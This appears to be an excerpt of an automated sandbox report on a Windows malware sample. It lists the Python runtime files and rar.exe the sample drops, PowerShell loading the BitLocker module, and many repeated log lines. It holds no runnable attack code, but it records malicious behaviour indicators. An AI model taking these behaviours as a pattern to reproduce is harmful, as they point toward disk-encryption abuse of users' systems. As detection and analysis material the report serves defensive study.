Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\python313.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\rar.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI76122\_ssl.pyd	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe

Code function: 0_2_00007FF7EAD05830 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

0_2_00007FF7EAD05830

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
